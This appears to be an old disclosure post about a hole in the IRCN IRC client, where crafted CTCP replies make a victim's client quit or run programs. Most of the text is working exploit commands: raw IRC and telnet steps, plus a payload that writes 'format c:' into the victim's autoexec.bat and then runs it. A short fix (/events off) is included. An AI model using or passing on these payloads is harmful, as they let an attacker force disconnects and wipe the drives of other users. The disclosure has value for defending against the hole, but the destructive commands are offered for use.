- Subject: Ircn Exploit..
-
- While looking around at IRCN (irc client).. I noticed a hole in the code
- which allowed people to run programs, make the ircn user quit off irc, etc..
- There isn't really much to say about it.. Here is how you do it..
-
- How to exploit bug:
-
- In a windows irc client type:
- /ctcpreply (nickname) ping $quit(i,am,owned)
- Result:
- *** ^DaWg^ (DaWg@cc576078-a.essx1.md.home.com) Quit (owned by nofear)
-
- For you unix users telnet to the irc server on port 6667 and type
- user bleh bleh bleh bleh bleh
- nick asdfksdjflk (this will be your nick.. Get creative)
- then type:
- notice (nick) (press ctrl + a) ping $quit(i,am,owned)(press ctrl + a)
- and bam!@#
-
- How to fix bug:
- in your ircn client type /events off
-
- There are a lot of nice little things you can do with this bug... here are a
- few..
-
- /ctcpreturn (nick) $run(echo,"echo,y,|,format,c:\",>,c:\autoexec.bat)
- /ctcpreturn (nick) $run(c:\autoexec.bat)
